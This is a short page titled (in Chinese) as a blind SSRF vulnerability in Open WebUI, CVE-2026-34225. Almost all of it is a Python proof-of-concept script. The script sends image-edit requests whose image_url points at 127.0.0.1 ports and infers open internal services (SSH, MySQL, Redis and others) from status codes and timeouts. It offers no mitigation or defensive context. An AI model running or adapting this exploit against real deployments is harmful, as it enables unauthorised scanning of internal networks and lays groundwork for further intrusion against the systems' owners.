CVE-2026-34225 Open WebUI 盲SSRF漏洞

import requests import time # Target configuration target_url = "http://localhost:3000/api/v1/edit/image" # Replace with actual endpoint base_internal_ip = "http://127.0.0.1" def check_port(port): # Craft the payload with the internal IP and port payload_url = f"{base_internal_ip}:{port}" # Data structure based on typical image edit requests data = { "prompt": "edit this image", "image_url": payload_url } start_time = time.time() try: # Send request to the vulnerable Open WebUI instance response = requests.post(target_url, json=data, timeout=5) elapsed_time = time.time() - start_time # Logic to determine if port is open based on response differential # In blind SSRF, we look for status codes or timing differences if response.status_code == 200 or response.status_code == 500: print(f"[+] Port {port} might be OPEN (Status: {response.status_code}, Time: {elapsed_time:.2f}s)") else: print(f"[-] Port {port} seems CLOSED (Status: {response.status_code})") except requests.exceptions.Timeout: print(f"[+] Port {port} might be OPEN (Timeout triggered)") except Exception as e: print(f"[-] Error checking port {port}: {e}") # Example: Scanning common ports if __name__ == "__main__": ports_to_scan = [22, 80, 443, 3306, 6379, 8080] print(f"Starting Blind SSRF scan against {target_url}...") for port in ports_to_scan: check_port(port)